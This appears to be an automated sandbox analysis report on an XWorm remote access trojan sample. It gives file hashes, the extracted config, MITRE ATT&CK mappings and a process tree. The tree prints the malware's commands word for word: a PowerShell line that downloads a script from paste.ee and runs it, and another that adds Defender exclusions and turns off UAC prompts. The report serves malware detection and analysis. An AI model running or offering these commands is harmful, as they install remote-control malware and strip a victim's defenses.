xworm | 30d852a6064a9f9e57981364edbee0c7a1fecc1d9681bb2a9255e3b13da0c67f

General

Target

script.ps1
Size

50B
MD5

f7907aaa36ecbdf6ea474650bea2b747
SHA1

11356251ecc1dca11f6e372197d4d757dd6eb43d
SHA256

30d852a6064a9f9e57981364edbee0c7a1fecc1d9681bb2a9255e3b13da0c67f
SHA512

8c61c47b5d20e41147bbe3c737cf033bf00392e6dd69f8fab6dca4f54170378fef7233dccf7d8c1eabc322240e920168ed9920af0a3a83a1d13d212eff82b25e

Score

10^/10

xworm defense_evasion execution rat trojan

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:49201

Mutex

3SQiK66LLWxWTFFs

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0003000000022a04-45.dat	family_xworm
behavioral2/memory/1556-52-0x0000000000540000-0x000000000054E000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
6	4232	powershell.exe
20	4232	powershell.exe
38	4232	powershell.exe
39	4232	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
868	powershell.exe
4692	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
38	4232	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1556	SVrB5SO0.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
868	powershell.exe
868	powershell.exe
4232	powershell.exe
4232	powershell.exe
4692	powershell.exe
4692	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeDebugPrivilege	4692	powershell.exe
Token: SeDebugPrivilege	1556	SVrB5SO0.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 868 wrote to memory of 4232	868	powershell.exe	86
PID 868 wrote to memory of 4232	868	powershell.exe	86
PID 4232 wrote to memory of 4692	4232	powershell.exe	91
PID 4232 wrote to memory of 4692	4232	powershell.exe	91
PID 4232 wrote to memory of 1556	4232	powershell.exe	100
PID 4232 wrote to memory of 1556	4232	powershell.exe	100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\script.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "irm https://paste.ee/d/linhgh7d | iex"
  2⤵
  - Blocklisted process makes network request
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath $Env:ProgramData, $Env:Temp, $Env:HomeDrive; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord
    3⤵
    - UAC bypass
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4692
- - C:\ProgramData\SVrB5SO0.exe
    "C:\ProgramData\SVrB5SO0.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

1

T1548

Bypass User Account Control

1

T1548.002

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\SVrB5SO0.exe

Filesize
30KB

MD5
0d59300d31f0b41cc02411dea2c43c0f

SHA1
f9967bae12fff3098eb863ffc02d15619050e1a9

SHA256
e95f0b75ed5eda1ac1acd767b8657f024944b878c0b63d481d357d30beb3451d

SHA512
1d2b83194a8bb986b128557a7d0d6f6cd3e1eef6c7febc59b941ec7996af891c21260e58009fb740d857f2e6b4009a574a3e95506120d8d0efba2a8c7080d7a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
fda8e6635ceb69e1bfc1344a1f2777a2

SHA1
a38a32472891bebd2ec01d1a9ae1a0374c758fc0

SHA256
ab78eca3d4050892d9dbe2ce313ba7693469aecf08d914f1846ac9bbaf8b2b60

SHA512
3b34d360f116968d2bf09c77c007277b996b2cc51fbc4af4c65dd0d61f2329b1be040f5b71f61fa2d9ef02cf303c41bf60ae118c2d9d458beb39ea11515a7999

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yl1f3yl2.v4a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/868-6-0x000001E7CE790000-0x000001E7CE7B2000-memory.dmp

Filesize
136KB

Download
memory/868-11-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/868-12-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/868-59-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/868-39-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/868-0-0x00007FFD18D73000-0x00007FFD18D75000-memory.dmp

Filesize
8KB

Download
memory/1556-52-0x0000000000540000-0x000000000054E000-memory.dmp

Filesize
56KB

Download
memory/4232-40-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/4232-25-0x00000138E3680000-0x00000138E3842000-memory.dmp

Filesize
1.8MB

Download
memory/4232-24-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/4232-56-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/4232-23-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download
memory/4232-22-0x00007FFD18D70000-0x00007FFD19831000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads